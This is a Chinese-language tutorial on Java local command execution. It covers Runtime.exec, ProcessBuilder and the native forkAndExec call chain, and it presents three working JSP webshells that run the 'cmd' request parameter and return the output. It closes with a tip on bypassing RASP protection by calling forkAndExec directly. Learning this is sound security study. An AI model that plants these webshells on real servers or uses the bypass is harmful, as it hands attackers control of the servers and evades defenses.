Java本地命令执行
Java原生提供了对本地系统命令执行的支持,通常会使用RCE利用漏洞或者Webshell来执行系统终端命令控制服务器的目的。
对开发者来说调用本地命令来实现某些程序功能(如:ps进程、top内存管理)是一个正常的需求,对黑客来说本地命令执行是一种非常有利的入侵手段。
Runtime命令执行
在Java中通常使用java.lang.Runtime类的exec方法来执行本地系统命令。
Runtime命令执行测试
runtime-exec2.jsp 执行cmd命令示列:
<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>

改进回显
<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%><%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="java.io.ByteArrayOutputStream" %><%@ page import="java.io.InputStream" %><%InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();ByteArrayOutputStream baos = new ByteArrayOutputStream();byte[] b = new byte[1024];int a = -1;while ((a = in.read(b)) != -1) {baos.write(b, 0, a);}out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");%>
Runtime.exec(xxx)调用链如下:
java.lang.UNIXProcess.<init>(UNIXProcess.java:247)java.lang.ProcessImpl.start(ProcessImpl.java:134)java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)java.lang.Runtime.exec(Runtime.java:620)java.lang.Runtime.exec(Runtime.java:450)java.lang.Runtime.exec(Runtime.java:347)org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)
通过观察整个利用链看见exec方法,并不是最终点,执行逻辑大致是:
Runtime.exec(xxx)java.lang.ProcessBuilder.start()new java.lang.UNIXProcess(xxx)UNIXProcess构造方法中调用了forkAndExec(xxx)native方法。forkAndExec调用操作系统级别fork->exec(*nix)/CreateProcess(Windows)执行命令并返回fork/Createprocess的PID
有了调用链分析,就可以深入理解Java本地命令执行的深入逻辑了。Runtime和ProcessBuilder并不是程序的执行终点
ProcessBuilder命令执行
Runtime命令执行的时候,exec方法会最终调用ProcessBuilder来执行本地命令,跟踪Runtime的exec方法就可以知道如何使用ProcessBuilder。
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="java.io.ByteArrayOutputStream" %><%@ page import="java.io.InputStream" %><%InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();ByteArrayOutputStream baos = new ByteArrayOutputStream();byte[] b = new byte[1024];int a = -1;while ((a = in.read(b)) != -1) {baos.write(b, 0, a);}out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");%>
UNIXProcess/Processlmpl
UNIXProcess和ProcessImple可以理解本就是一个东西,在JDK9中UNIXProcess合并到了ProcesImpl中。 UNIXProcess类的ForkAndExec示列:
private native int forkAndExec(int mode, byte[] helperpath,byte[] prog,byte[] argBlock, int argc,byte[] envBlock, int envc,byte[] dir,int[] fds,boolean redirectErrorStream)throws IOException;
防御者很多时候只防御到了processBuilder.start()方法,而我们只需要直接调用最终执行的UNIXProcess/ProcessImpl的forkAndExec方法就可以绕过RASP实现命令执行。
